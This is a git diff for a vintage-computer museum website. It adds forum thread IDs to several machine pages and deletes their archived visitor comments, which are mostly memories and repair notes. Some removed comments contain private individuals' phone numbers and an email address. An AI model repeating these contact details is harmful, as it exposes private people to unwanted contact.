forum_thread: 250 hardware: - title: 5.25'' DISK DRIVE subtitle: 320 KB model diff --git a/content/museum/thomson-to-9.md b/content/museum/thomson-to-9.md index bfd5e31b..225e6fad 100644 --- a/content/museum/thomson-to-9.md +++ b/content/museum/thomson-to-9.md @@ -53,6 +53,7 @@ params: - emulators - links - videos + forum_thread: 249 photos: - title: ANOTHER VIEW subtitle: '' diff --git a/content/museum/thorn-emi-wren.md b/content/museum/thorn-emi-wren.md index aa8cca31..353767ae 100644 --- a/content/museum/thorn-emi-wren.md +++ b/content/museum/thorn-emi-wren.md @@ -60,6 +60,7 @@ params: 2881 (France, october 84) tabs: - adverts + forum_thread: 267 adverts: - title: PROUD ! subtitle: '' @@ -69,139 +70,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/thornelmi_wren_pub_2.jpg - comments: - - author: george baker (United Kingdom) - date: Saturday 29th January 2022 - text: Hi It seems I need to provide contact details since the forum does not forward, mobile telephone number is 07928 483938 text only I wont pick up a call. G - - author: george baker (United Kingdom) - date: Saturday 29th January 2022 - text: Hi I in Manchester England and found a Wren transport bag a couple of weeks ago full of stuff. I would like to see it united with a Wren if someone has a suitable bag to hold the stuff currently in it. I had 2 wrens, bought as insurance salvage because they stopped working around 1988. In the workshop they were always coming back because they stopped working, The under side of the unit hit your leg and buckled shorting out the MoBo. My workshop fix was a sheet of insulator. We sold a News Agents package with them as IIRC a turn key solution. G - - author: Martin Underwood (England) - date: Tuesday 11th May 2021 - text: Ian (London, UK) "Do you still have the audio digitiser schematic and software to share or to purchase? I am also interested in the RGB to PAL card." I''m afraid I don''t have the schematics. I \*may\* have the circuit boards somewhere, but it''s quite likely that I got rid of them when the Wren itself stopped working, or during a house move. Even knowing which ICs I''d used would probably help you a bit. The RGB-to-PAL interface was a design I saw in an electronics Magazine. I''ll have a quick look through my things and see if by any chance I can find the circuit boards, but I''m not confident :-( - - author: Petr - date: Tuesday 18th August 2020 - text: |- - Hello Wren fans, - - I do believe you might be interested into Jerry Walker youtube channel where he is repairing 3 pieces of old Wren computers and is trying to reverse engineering not just schematics but also a firmware. And maybe you could help him with some info? - - Here is link to one part of series\ - https://www.youtube.com/watch?v$\_4cUNDc_ong - - Regards,\ - Petr - - author: Ian (UK) (United Kingdom) - date: Sunday 12th July 2020 - text: |- - Greetings again to all in the Forum! Have a working Wren but unfortunately boot disc is corrupted and system will not boot to screen. Can anyone send me a physical copy of a boot disc by post to London UK? Have a full set of other software to exchange. - - Keen to correspond with other Wren users and enthusiasts to discuss and exchange software, schematics and hardware ideas etc. - - Please text me on (+44)7710 095902 for e-mail details. - - Cheers! - - author: Ian (United Kingdom) - date: Wednesday 1st July 2020 - text: |- - Hi Harry, thanks for posting. Yes, I can get both of your computers repaired at fairly low cost. Can you post your e-mail and I will communicate with you directly. This mini-Forum does not automatically forward/redirect messages. - - Do you have any software to exchange? Anyone on the forum have any cool vintage hardware for this Wren and more importantly software to run? - - Cheers, - - Ian - - author: Dan (UK) - date: Tuesday 19th May 2020 - text: I think I used to use one of these back in 1990 for exercising floppy disk drives. It used to run some program for exercising different makes of drive and also used to show an "oscilloscope" output showing the amplitude of the signal from the heads when a test diskette was used in the drive$ this allowed alignment to be performed. Anyone else know of these being used for this purpose or have I got this mixed up with something else? - - author: harry (uk) - date: Thursday 30th April 2020 - text: I noticed that Ian from London mentioned he could get these Wren ''s repaired is that still an option? I have two of these not working? can you pass him my details if possible? - - author: Ian (London, UK) - date: Monday 27th April 2020 - text: |- - Hi Martin, great to know that you have one of these machines and that you were interested in I/O interfacing. So am I, and I have built a lot of hardware interfaces e.g. ROM cards, 8255 PIA boards, ADCs and DACs. - - I am eager to interface to the Wren. - - Do you still have the audio digitiser schematic and software to share or to purchase? I am also interested in the RGB to PAL card. - - I have got a working Wren Executive which my friend and I have repaired and restored. More importantly, the boot disc has been corrupted and I wondered if I could perhaps borrow your''s to make a duplicate and flux copy? - - I can also arrange to have your Wren repaired. - - Cheers! - - author: Adrian (UK) (United Kingdom Hampshire) - date: Wednesday 5th February 2020 - text: |- - I had a Wren and used it for producing a club magazine using the "Perfect Suit" of software supplied as a package with the machine.\ - The magazine was voted as one of the best club mags at the time.\ - I sold it to a collector - am I sad saying I wish I still had it to play with.\ - The implementation of BBC basic was fairly sound and I also used for Packet Radio as a licensed UK radio ham - it was ideal for that. - - author: Martin Underwood (East Yorkshire) - date: Friday 27th September 2019 - text: |- - I bought a Wren - I remember driving up to Transam''s shop off Gray''s Inn Road to collect it and an Epson RX80 dot-matrix printer. I decided I could afford the RAM upgrade from 16 KB to 256 KB, but not the optional 5 MB HDD. - - I can vouch for the Wren being \*heavy\* and then need to change arms several times when carrying it. - - I used it at university for writing project reports. I also built an RGB-to-PAL board for driving a colour TV, and an I/O board which connected to the HDD connector and allowed analogue-to-digital and digital-to-analogue converters to be converted: somewhere I have a file containing Dire Straits'' "Brothers in Arms" track digitised from LP, as an exercise. - - It worked until a few years ago, but when I was about to move house I could not get it to boot: it was a hardware problem because it never got as far as spinning the boot floppy. - - I''ve just found a listing of a BASIC program that I wrote which contained embedded Z80 code which sorted an integer array considerably faster than doing it in BASIC - or even in Turbo Pascal. It was a long job debugging that code because any error in Z80 usually resulted in the Wren locking-up and having to be rebooted. - - author: Chris (UK) - date: Wednesday 20th May 2015 - text: Great to see so many posts for the Wren. I would love to see any schematics or service information for this great little computer. - - author: Mr N B Bell (uk) - date: Sunday 16th November 2014 - text: Hi I have a Thorn EMI WREN in good working order.Also has its ts Mannuals and software ...Nice old pc - - author: Steve (Norway) - date: Friday 30th May 2014 - text: |- - Interesting... I was the hardware support specialist at Wren computers... I found this during a "nostalgia hunt". - - The computer was very advanced for its time, but, as people have pointed out, plagued by problems. - - The primary issue was the case itself. The design was very poor and EXTREMELY vulnerable to shock damage. There were quite a few sharp angles in the case mouldings that created weaknesses. - - I cannot remember how many units we repaired, sent back to the customer , and which were returned again with cases that had been damaged in transit. - - I remember testing out new packaging (+ possibly a slightly modified case?) by $ping boxes off a desk.\ - (Corner $s, side $s, flip $s and so on). - - I cannot remember with certainty if the design of the case was modified to try and make it less prone to stress damage, but I am pretty sure that the design of the case was modified slightly. - - Also during manufacturing, we were unlucky enough to have batches of logic chips where the propagation times were all at the maximum specified values.. Units build using these chips often suffered from "amnesia".\ - There was a lot of discreet logic involved in the RAM refresh circuitry, with bad propagation times through a number of logic gates all adding up, the memory refresh was unreliable.\ - This was a difficult problem to find, and quite costly for Wren. The computers designer (from Transam Microsystems) used a lot of time tracking this problem down. - - I took one home a few times, and had to swap arms several times on my way to the tube station. They were pretty heavy to haul around. - - author: Mike (UK) - date: Friday 10th June 2011 - text: |- - This Computer was assembled at the Thorn EMI factory in Treorchy South Wales. Only about 1000 were made before Wren went bust and many companys were left holding the parts for the other 9000 units that were part of the first production run. - - It was very advanced for its day and the software package was very good quality and comprehensive for that era. - - Quality control was a major issue which certainly delayed production and caused a few financial problems for Wren. It might just have been too far advanced a concept for the time.... - - Great Computer though!! - - author: Webmaster - date: Tuesday 19th May 2009 - text: |- - Hi - - Thanks for the info!\ - Don''t hesitate to send us more information about your experience with this system so that everyone can read it. - - Regards - - author: Brendan Owen (UK) - date: Tuesday 19th May 2009 - text: Although the Wren computer was manufactured at Thorn EMI in Feltham, they were a subcontractor to Wren Computers Ltd. Wren was a joint venture company between Transam Microsystems (www.transam.co.uk) and Prism (who distributed computers for Sinclair). I led the team at Transam that designed the computer and implemented the software. Transam have recently been aquired by Eurodata Systems. - - author: KasunagiX (USA) - date: Saturday 25th January 2003 - text: 7" monitor?, the largest then i've ever seen in a Luggable machine. oc_id: 257 source: url: https://web.archive.org/web/20230530112840/http://www.old-computers.com/museum/computer.asp?c=257 diff --git a/content/museum/tiki-data-tiki-100.md b/content/museum/tiki-data-tiki-100.md index f0f41c9a..917cd0d5 100644 --- a/content/museum/tiki-data-tiki-100.md +++ b/content/museum/tiki-data-tiki-100.md @@ -64,6 +64,7 @@ params: - photos - emulators - links + forum_thread: 717 photos: - title: SYSTEME subtitle: '' @@ -85,42 +86,6 @@ params: - title: Asbjørn Djupdal's TIKI-100 norwegian page url: http://djupdal.org/tiki/ text: Norwegian page, with emulator - comments: - - author: Agre (Norway) - date: Wednesday 4th November 2020 - text: Apart from some early foray into Basic programming on my first computer, the Commodore 64, in 1983. I also learned to program in Logo on these Brattvåg ungdomsskule computers in 1985. I enjoyed playing Pyton on it too. Good times! - - author: Ariel Digit - date: Sunday 29th April 2018 - text: I never seen one of these with the balls bumming but sounds great.$ - - author: TheBeetles - date: Friday 20th January 2017 - text: |- - Isn''t it good?\ - Norwegian Wood. - - author: John Inge Erlandsen (Norway) - date: Sunday 1st November 2015 - text: My first experience with a programming language was when I was 7 years old and my grandfather had a TIKI at home because he was a supervisor at my school. I guess it must have been around 1992. He taught me tiki-kalk and some basic. I also practiced touch typing, played snake and some robot game. Good times. - - author: Petter (Norway) - date: Wednesday 28th May 2014 - text: I remember the first time I saw the Tiki-100 was at a computer fair in Sandefjord and people were amazed of the speed of the graphic which was demostrated by the ability of having several balls bumbing to the floor at the same time withour any lag :-) - - author: Peter Udbjørg (Oslo, Norway) - date: Sunday 19th January 2014 - text: |- - I used to work for the magazine "Tiki-bladet" ("The Tiki Mafazine"), published by "Mikroben" for Tiki Data. I got the job as a journalist and layout/paste-up-man after reading an ad in the magazine. It became run by me and "the boss", the guy owning "Mikroben", and me. The Boss had a deal with Tiki Data to publish a magazine for them, they paid his company, which then also paid me $ the boss.\ - I wrote articles in WordStar on a Tiki-100, printing them out in column with with a typewheel typewriter equipped with a RS 232-port, cutting the columns out and pasting them up on the page masters. Pictures were slides, sent in with the pages and with an indication of where to go and what $ scale. Of course, contributions from readers were printed. Eventually, Tiki-100 became THE educational computer, and Tiki Data even got a Dutch subsidiary. I interviewed teachers and pupils at two schools the year-and-a-half I worked for the magazine. And eventually, we became "embedded" in Tiki Data, having our own office in their premises (a rented office space in an office building near Sinsen). School teachers were also "embedded" for periods of time.\ - I had a Tiki-100 myself, too, programming it in Pascal and using Wordstar and SuperCalc.\ - Some programmer made a real cool game: Invaders! To make it fast enough, he machine coded the whole bit. But it worked flawlessly.\ - When the cheap Wintel clones flooded the PC-market by the end of the 1980’s, Tiki Data found themself in deeper water. A Tiki with "PC-card" was made, somehow able to dual boot in either some Windows flavour or Tikos. But it flopped, and the Tiki-100 was history.\ - A while ago, an emulator running under Win98 could be found on the Net. Another emulator for Unix exists, but it appears it demands a special type of processor. - - author: Belkisa Kolenovic (Norway) - date: Saturday 28th January 2012 - text: These were still in use in my junior high school in the south of Norway in 1995. We used them to practice touch typing. Will never forget that awesome keyboard. - - author: Arno Teigseth (Norway) - date: Saturday 17th December 2011 - text: I attended the school on Mosby, southern Norway, from 1985 onward. The kon-tiki was hot. We students of course found the only game (I know of), the "snake". It was a real breakthrough when I finally, after much effort, managed to "round" the game, filling the entire screen with snake. The teacher and whole class watched. Deception was great when after filling that last piece of screen, "snake" simply started over... If i''m not mistaken, there was a potmeter somewhere that I used to crank down the CPU speed with. - - author: Dagfinn Topland (Norge) - date: Wednesday 15th September 2010 - text: Amazing, A couple of years ago I picked up three of those from a garbage dump and at least one of them had the name "KonTiki" seems like I saved some history that day.. oc_id: 734 source: url: https://web.archive.org/web/20230329013423/http://www.old-computers.com/museum/computer.asp?c=734 diff --git a/content/museum/timex-computers-tc-2048.md b/content/museum/timex-computers-tc-2048.md index 18a14447..f7383295 100644 --- a/content/museum/timex-computers-tc-2048.md +++ b/content/museum/timex-computers-tc-2048.md @@ -64,6 +64,7 @@ params: - photos - hardware - links + forum_thread: 912 photos: - title: LARGER VIEW subtitle: '' @@ -147,31 +148,6 @@ params: - title: TS1000.US url: http://www.ts1000.us/ text: '"TS1000.US, a tribute to the most unique and powerful small computer ever built!"... with docs, tips & tricks, software, info, etc.' - comments: - - author: Rui (Portugal) - date: Tuesday 25th October 2011 - text: Hi everyone! This was my firt computer, bought in 84 for 20.000$ (100€) and it came with the game Kickstart. I still have it and it works like a charm. I also have the sinclair joystic interface as this computer only works with kempston joysticks by default. I had the termic printer but i really don''t know where i left it. That''s it! - - author: MrWho - date: Monday 21st June 2010 - text: |- - I had one of those. I''m now looking for a working one, so I''ll have one soon - I got a broken one which has been given to me, but I got sorely disappointed when it didn''t work (turns on, but only gives out blinking squares).\ - Great machine - my childhood''s toy of choice. - - author: Alan Petrik (Czech Republic) - date: Saturday 17th September 2005 - text: I've had this great computer since 1986, when my father bought it from "Baltona" store in Poland (it was very popular ZX colne in Poland, but almost not known in CZ/SK) for the prize of 145 USD. Some games don't work because of different mapping of keyboard ports. Also some third party add-ons cause problems, because TC2048's bus connector is not 100% compatible with original Spectrum's one (there is no 5V output on Timex's bus port). Especially disk interfaces made in CZ/SK. We've been using Opus Discovery 1, which worked perfectly. Anyway, my father bought another TC2048 in 1988 for me so we had two Timexes at home. The older one had no sign "TC 2048" in the upper right corner of the keyboard and the tape EAR/MIC sockets were made from plastic, while the newer version had the sign I mentioned and the jack sockets were metallic. I sold both in early 90's but I got one again from Poland this year because I want to have my very first computer :) - - author: Nuno Anjos (Portugal) - date: Monday 5th April 2004 - text: |- - well the price was allways droping. I got mine by cristmas of 85 and it cost about 20.000 escudos (100 euros), witch at that time was a thirth of many people monthly income, the only problem with mine was it send very strong signals to the TV and it wrekc the frequency modulator,\ - after that i bougt a black a orange monitor for it. - - author: Alejandro Cifuentes (Santiago, Chile) - date: Thursday 25th September 2003 - text: There is a NTSC version of this computer.. I have one, and I'll take some pictures. - - author: Pedro Glória (Portugal) - date: Friday 19th September 2003 - text: |- - I'm Portuguese and I've had a Timex.\ - The information I have is this: when I bought my TC 2048, new at the time, it costed 150/200?. Just after I bought mine the TC 2068 came out with the revolutionary Emulator that was able to run about 10 games in some seconds, it was fantastic compared with the tape recorder we had to run for some 5/10 min., or more, to have a game runing with some luck in the 2048. related: - /museum/timex-sinclair-1500 - /museum/timex-sinclair-2068 diff --git a/content/museum/timex-sinclair-1000.md b/content/museum/timex-sinclair-1000.md index 3df2822d..d01c6227 100644 --- a/content/museum/timex-sinclair-1000.md +++ b/content/museum/timex-sinclair-1000.md @@ -63,6 +63,7 @@ params: - emulators - links - docs + forum_thread: 471 photos: - title: LARGE VIEW subtitle: '' @@ -271,82 +272,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: R Perot (US) - date: Sunday 5th August 2018 - text: I learned how to program basic on this one summer at my grandparent''s house when I was 9 or so. I remember writing a silly little RPG game in basic on this thing, this kickstarted a budding computer obsession. - - author: Jeffreson (Medford, Oregon USA) - date: Tuesday 6th February 2018 - text: Just picked up one of these at an estate sale, pretty cool little device and a nice addition to the collection. - - author: Robert (usa) - date: Monday 13rd March 2017 - text: |- - I had one of these in the 90s when i was a still a kid i had an older cousin who owned it before me while they were still in high school in the 80s\ - my aunt and uncle gave it to me when my cousin finally moved out - - author: KenC (USA) - date: Thursday 28th April 2016 - text: Wow, this brings back memories. A friend of mine in 1982 told me I should check out this little machine and he let me borrow it for a weekend. He handed it to me in a brown paper bag (not sure why I recall that). Now for over 30 years it has been my profession. It all started with this little Timex computer. - - author: Frank Foerr (Maryland Heights, MO) - date: Saturday 2nd April 2016 - text: I have the 1000 model with printer, power supplies and tape recorder as well as lots of tapes. $100 + shipping and it''s all yours. frdoerr@juno.com - - author: Penguin - date: Tuesday 3rd February 2015 - text: Wow, that was my first computer. Pretty cool! - - author: Chuck Rose (Vermont, USA) - date: Saturday 27th December 2014 - text: |- - After I fried my mail ordered ZX-81 because the memory pack shifted I presume. I bought one of these from a local store. I also got the 16k memory pack by Timex Sinclair too. This time I used velcro to make the connection more stable and this worked pretty well. - - The computer came bundled with software (whereas the ZX 81 did not) on cassette for Personal Finance, 2k games, 16k games, and Flight Simulator. I played flight simulator for hours on end. I also wrote some programs for it including a cassette file based inventory program in which you read the whole file in from cassette into arrays. Then you could manipulate the files as needed and when you were all done, you could write the file back to cassette. I also wrote an invoicing program but could never really test it because I never got a printer for this computer. - - author: Clay Bowen (USA) - date: Thursday 18th April 2013 - text: I remember this being given away in boxes of Cheerios, like a "prize" - - author: Jim (Canada) - date: Wednesday 26th December 2012 - text: |- - I had a Timex Sinclair 1000 with the 16K mem expansion and thermal printer.\ - This thing was a throwback to the dark ages of time sharing when you used a teletype for input and then waited around for something to happen. In black and white.\ - It was a computer however, and the esoteric methods of key entry were the initiation into a special cadre. - - author: Connor Krukosky - date: Monday 2nd April 2012 - text: I have one new in the box with its clear wrapping on it completely unopened! Got it for 10 bucks! - - author: Goldminer69er (Arizona U.S.A.) - date: Wednesday 17th August 2011 - text: Just got a Timex Sinclair 1000, I plan on having all kinds of fun rebuilding this machine and learning basic. Got mine in the original box, has all the cables, and the manual. bought it off ebay for $15.00 USD. I find myself completely hooked on vintage computers. I also collect vintage software and vintage computer books. I find these old books help me with repairing modern computers. It seems they provide a good foundation, Thanks for your time. P.S. This sight is awesome. - - author: Diogo - date: Wednesday 14th July 2010 - text: hey people, sorry for the offtopic but, does anyone knows where can i find a market price or anything for the timex 2068? i own one, and i see that it is a extremely rare item! still no ebay as it for sale and no one really mentions it very much. coudl be a good sign for deal lol - - author: Albert - date: Friday 26th March 2010 - text: I still have my Timex Sinclair. It sits on its end next to several of my programming manuals. - - author: Larry G. (Columbia MO.) - date: Tuesday 14th October 2008 - text: |- - Like most here, this too was my first.\ - I had the ZX-80 and 81, and for me back then haveing 2 of anythang was rare. like paul, i too was around 11 years old. I realy wanted the TS 2068 when i seen it.\ - I had an old tape deck as well and a 16K back pack.\ - You know what''s kinda funny?\ - As i type this, the laptop is not much bigger. HA! - - author: Paul S. (Cincinnati, Ohio U.S.A.) - date: Wednesday 29th November 2006 - text: Wow, seeing this brings back a flood of childhood memories; this was the first "real" computer that I had owned; I remember lusting over it, and the additional memory pack, for what seemed like a an eternity until my parents surprised me with it on Christmas morning. This was my first computer love and I spent many hours typing- keying in rather- those many lines of BASIC programs just to have the satisfaction of being able to see some line go across the black and white t.v. "monitor" (an old extra b/w tv my parents also gave me) or to play what could barely be considered a game now. Then, if all the stars alligned properly, I was able to save the program to a cassette tape (an old tape recorded- that can probably no longer be found in a store) and would be elated if I was then able to re-load the program from the tape (which, I seemed to have a very low success rate- but hey, I was only about 11 years old then). As I recall, I was able to make it produce some sort of sound, a - low pitch and a higher pitch, even though the specs seem to indicate that there was no sound. After a couple of years, my parents moved me on to the Radio Shack TRS-80 Color Computer 2. I wish that I still had both of these computers but had decided to hand them down to younger cousins to play with after Windows came out, those kids can now sling code in circles around me and are making triple my income; I wish I had never of gotten lazy with lazy operater systems and pursued programming. When I have a child, I am going to locate and buy one of these old systems so that he or she will "cut their teeth" properly; kinda like when Dad insisted that I learn to drive a stick shift car before being allowed to drive an automatic transmission car. If you have one of these old systems, please keep it nice because I might offer a tidy sum when the time comes. - - author: Craig Brophy (USA) - date: Monday 14th November 2005 - text: This was the first computer I ever owned. I first learnt how to program on this one using code I found in Mad Magazine. I had a tape drive with it. It used regular cassette tapes. I had a flight simulator the used both side of the tape. It took 45 minutes to load up the game. I also had a 16k Ram pack (Yup, 16K!). A big black box that plugged into the back. The ram pack cost as much as the computer. On a side note, I had to return the thing two times because of the poorly designed keypad. It would just stop working. - - author: Bruce Roeser (Lake Mary, FL) - date: Monday 7th July 2003 - text: |- - Oh man ... I remember this little guy. I had one of these back in '82. The computer allowed you to load BASIC programs off cassette. A friend of mine in California and I wanted to be able to work on software together but loading two halves of the program from cassette wasn't supported. SO ... I got a ZX80 manual and learned how to write assembly code for it. (To that point I had only written in BASIC or FORTRAN). - - Using the manual, I HAND assembled (in Octal if memory serves) a loader that would enable the two of us to work on our respective halves of the program. The loader would enable me to load the first half of the program into memory then it would move "MEMTOP" below the loaded portion so the 2nd half could load - then the loader would "splice" the two halves of the program together. Worked the first time I loaded it. This little machine was one of a couple of machines that really got me into software development. - - author: tf (Ionia, MI) - date: Monday 9th June 2003 - text: I actually remember learning to type on one of these little buggers, rofl... it SUCKED!!! - - author: Kevin (Dallas) - date: Sunday 28th April 2002 - text: The Sinclair was so simple that it begged to be modified. SYNC magazine offered a monly forum for enthusiests share programs and hacks. If you had patience and small fingers you never needed to buy software. Just type whatever you want from redily available source code. There were dozens of companies who manufatured various add-ons for the Sinclair. You coul get a real keyboard, up to 128K of memory, a sound modual and long life baterie to take it on the road. There was also a 40 coloum thermal printer and a modem. Because the sinclar had a simple instruction set and consumed only 9 volts many of these handy little black wedges ended up being uncased and stared new carears as the brains of various home robotic projects. The direct descent of the machines is still alive and well today in the for of the Rabit Technologies prototype / experimentors board which is powered by a Zilog Z180. The Z180 is an 18 MHz update for the classic Z80 1MHz chip and uses virtually the same instruction - set. At one time Sinclars were used as door stops at Commodore headquarters. Comodore offered a short lized promotion where by they would give a $100 rebate on the purchase of a C64 with the trade-in of your old computer or video game system. At the time the promo went to press the sreet price of the TS1000 had slipped to about $44.95. So lots of people bought TS1000's just to turn into Commodore and get the $55. Commodore was flooded with the little black weges, some of which had never been opened! related: - /museum/czerweny-cz-1000 - /museum/czerweny-cz-1000-plus diff --git a/content/museum/timex-sinclair-1500.md b/content/museum/timex-sinclair-1500.md index a60157fd..f142ad4a 100644 --- a/content/museum/timex-sinclair-1500.md +++ b/content/museum/timex-sinclair-1500.md @@ -61,6 +61,7 @@ params: - hardware - links - docs + forum_thread: 625 photos: - title: LARGE VIEW subtitle: '' @@ -164,10 +165,6 @@ params:  type of document : PDF\  size : 36 MB\  source : [www.ts1000.us](http://www.ts1000.us/) - comments: - - author: Chulang SeaRLES (Barbados, West Indies) - date: Tuesday 15th August 2006 - text: in 9182 My mom brought me a Timex 1500 computer. I first wanted to power it off a 9 voly dry cell because the power adpator was rated 9 volts. it is how i learned to master programming in basic. I wanted to build my own interface circiut but th emembrain keyboard went faulty. I brought from th eUK in 1984 a magazine that you could make a keyboard for the computer and a joystick adaptor. I wish it had not stopped working. It lasted longer than commadore 64 because the PSU for the 64 normally blew and you had to replace th ePSU, memory modules and the rom chips related: - /museum/timex-computers-tc-2048 - /museum/timex-sinclair-2068 diff --git a/content/museum/timex-sinclair-2068.md b/content/museum/timex-sinclair-2068.md index 9d3248e5..da7a3557 100644 --- a/content/museum/timex-sinclair-2068.md +++ b/content/museum/timex-sinclair-2068.md @@ -58,6 +58,7 @@ params: - hardware - software - links + forum_thread: 620 photos: - title: 'KEYBOARD CLOSE-UP #1' subtitle: '' @@ -195,62 +196,6 @@ params: - title: World Of Spectrum url: http://www.worldofspectrum.org/documentation.html text: This page has a link to the TS 2069 Technical Manual & Sinclair Hardware Fact Sheet (plus many other docs) - comments: - - author: David (US) - date: Saturday 20th June 2020 - text: 'JB, almost all of the US magazines and many newsletters about Timex/Sinclair computers are on archive.com. You can find them on my site, here: https://www.timexsinclair.com/computers/timex-sinclair-2068/' - - author: JB (Ohio, USA) - date: Monday 27th April 2020 - text: Due to the time I have on my hands these days I decided to set up and start learning to program a TS 2068 like I did a TS 1000 back in the 1980''s. I used to write programs on it for everything I wanted to. But did not have the color that the 2068 has. I purchased a color TV and now I want to spend some time to learn to program it. I need some of the old magazines that were written on it in the 1980''s. Anyone out there have any to sell? - - author: Yan (Brazil) - date: Thursday 28th November 2019 - text: It was my second computer and the one I missed more. If I could go back in time I never would have sold it. Currently I have a replica hanging on my office wall that I made myself and that I can look and touch when I feel that nostalgia for the good old times. :) - - author: Norman Flessas (Maryland, USA) - date: Friday 13rd September 2019 - text: It was my second computer. My first was a Timex 1000. I modified the Commadore''s BASIC so I could run it''s programs on the Timex 1000. - - author: Ariel (Argentina) - date: Thursday 13rd September 2018 - text: I was my firs computer on May 1984. Sold it in October 1986 for another computer (too 8 bits). Last year I came back to buy again the TS 2068. Today, I have three Timex Sinclair 2068 and the Printer TS-2040. - - author: Clay Bowen (USA) - date: Thursday 18th April 2013 - text: This was also my first computer, and the first programming language I learned. One-touch BASIC. I remember having to store data on cassette tapes, and never being able to find those solid state programs (other than the ones it came with, CrazyBugs and something else) - - author: RuiG (Portugal) - date: Saturday 28th April 2012 - text: |- - Hello all. - - This was my first computer... if I can call it that. - - I should still have it at home, along with hundreds of games, joystick and such. - - How much would a collector pay for one of this? - - Thanks. - - author: Marco G (Portugal) - date: Saturday 21st April 2012 - text: |- - My cousin had one of this with a printer. The "emulator" was a cartridge accessible at the right. When the cover was lifted, you could actually swap cartridges and use word processing and other applications. - - A couple of games didn''t work, Spectrums came later, or at the same time, and then dominated the scene in Portugal. Compared to the 48k specys, this "clones" where better built and the keyboard was just excellent. The TV converter was also better than the 48k. - - author: Kumbah2006 (USA / Boston area) - date: Thursday 8th July 2010 - text: |- - For those looking for Spectrum "tapes" or other\ - goodies, give "World of Spectrum" a spin. - - Ah, Crazybugs, cool game - and Androids was\ - a definite challenge - the memories! :) - - WOS has a whole load of nice legal software\ - for your Speccy or other (related) machine. - - Good luck! - - author: Packard (Argentina) - date: Thursday 12th October 2006 - text: Yeah!! My first computer!!! I'm looking for the Androids or Crazybugs games.. for Spectrum emulators... Anybody has one of them??? Thanks!! - - author: Petrvs (Argentina) - date: Wednesday 16th June 2004 - text: 'It is true that was largely sold in Argentina, much more than the Sinclair Spectrum. In fact until the CZ 2000 appeared software for Spectrum was denominated: "software for 2068 with emulator"' related: - /museum/timex-computers-tc-2048 - /museum/timex-sinclair-1500 diff --git a/content/museum/tokyo-colour-tv-game.md b/content/museum/tokyo-colour-tv-game.md index 031dd0fa..50a7bb10 100644 --- a/content/museum/tokyo-colour-tv-game.md +++ b/content/museum/tokyo-colour-tv-game.md @@ -9,6 +9,7 @@ params: company_name: Tokyo tabs: - photos + forum_thread: 1071 photos: - title: COLOUR TV GAME subtitle: '' @@ -18,13 +19,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/tokyo_colourtvgame_opened.jpg - comments: - - author: loodo848 - date: Sunday 4th March 2012 - text: Brings back memories - - author: Philippe Druez (Belgium) - date: Tuesday 12th July 2011 - text: Back in 1978 I assembled the B$W version soldering components to the chip... Found this one in a scrap yard in mint condition :). Batteries not included.. oc_id: 1101 source: url: https://web.archive.org/web/20230127121141/http://www.old-computers.com/museum/computer.asp?c=1101 diff --git a/content/museum/tomy-tutor-mk-ii.md b/content/museum/tomy-tutor-mk-ii.md index f438be5b..6df78bc8 100644 --- a/content/museum/tomy-tutor-mk-ii.md +++ b/content/museum/tomy-tutor-mk-ii.md @@ -72,6 +72,7 @@ params: - software - emulators - links + forum_thread: 365 photos: - title: TOMY TUTOR MK II subtitle: '' @@ -291,20 +292,6 @@ params: - title: Tomy Homepage url: http://www.tomy.com/ text: Official Tomy site...nothing about the Tutor (?) - comments: - - author: Ksarul - date: Sunday 1st February 2015 - text: 'I have a pair of Pyuuta Mk IIs. As noted, the keyboard is not the same as the US Tutor''''s. That is not the only difference, however. The Tutor has two ROMs: one for the OS (including GBASIC) and one for BASIC. Only the first ROM is present in the Mk II. There is a cartridge (BASIC1) that adds this ROM to the Mk II so that it ends up being just like a US Tutor, but it doesn''''t come that way out of the box. There is also a printer interface for it that plugs into the expansion port at the back (this can connect to standard Centronics-style parallel printers using the included cable).' - - author: Mark (USA) - date: Friday 18th July 2014 - text: |- - There''''s an interesting site about TMS99xx stuff : - - http://www.avjd51.dsl.pipex.com/ - - Has quite a lot of stuff on the TI TMS9900/TMS9995 hardware including a breadboard self-build computer based on the TMS9995 - - Well worth a look ! related: - /museum/tomy-tutor-pyuuta oc_id: 363 diff --git a/content/museum/tomy-tutor-pyuuta.md b/content/museum/tomy-tutor-pyuuta.md index 7948358e..8df9b13c 100644 --- a/content/museum/tomy-tutor-pyuuta.md +++ b/content/museum/tomy-tutor-pyuuta.md @@ -77,6 +77,7 @@ params: - software - emulators - links + forum_thread: 341 photos: - title: TOMY PYUUTA subtitle: '' @@ -388,40 +389,6 @@ params: - title: Tomy Homepage url: http://www.tomy.com/ text: Official Tomy site...nothing about the Tutor (?) - comments: - - author: Jay (UK) - date: Tuesday 10th August 2021 - text: There are still Gamepads being made for these in 2021 if you check at ebay!! Called ''Retro pads for the Tomy Tutor''! Someone still makes hardware for these machines in 2021 ...OMG!??!...O_o! - - author: Mark (USA) - date: Friday 18th July 2014 - text: |- - There''s an interesting site about TMS99xx stuff : - - http://www.avjd51.dsl.pipex.com/ - - Has quite a lot of stuff on the TI TMS9900/TMS9995 hardware including a breadboard self-build computer based on the TMS9995 - - Well worth a look ! - - author: Robert (England) - date: Thursday 26th June 2014 - text: |- - Hi. - - Does anyone have schematics, service manuals, detailed pics of PCB etc ?? - - Thanks - - author: byron guerrero (guatemala) - date: Wednesday 12th December 2012 - text: wow!! my father got me this computer when i was a kid!! i love it!!! you can program in BASIC (at the time i have no idea i will work on computers and still program in BASIC some times). it was fun!! you can draw things!!!, but i can not save anything... i never knew why, good to see it again!! thanks dad for the great gift (R.I.P). - - author: byron guerrero (guatemala) - date: Wednesday 12th December 2012 - text: wow!! my father got me this computer when i was a kid!! i love it!!! you can program in BASIC (at the time i have no idea i will work on computers and still program in BASIC some times). it was fun!! you can draw things!!!, but i can not save anything... i never knew why, good to see it again!! thanks dad for the great gift (R.I.P). - - author: Dave (USA) - date: Wednesday 28th December 2011 - text: This was my first computer as a kid$-the first computer that belonged entirely to ME. I had a couple of games, the joysticks, the built-in painting program, plus BASIC. But i couldn''t save anything, because we never got the cassette drive. Oh well. Fun stuff :) - - author: wiley14 (North Carolina, USA) - date: Monday 7th December 2009 - text: Ahh... the Tomy Tutor. This is what got me interested in computers. My half-brother had one as a kid that his dad bought. Being the little brother with handmedowns, I got my hands on it. We had exactly one cartridge - Hyperspace. That gets old, quick. And i''m not an artist by any stretch. So, I learned BASIC. Didn''t have a tape recorder to save the 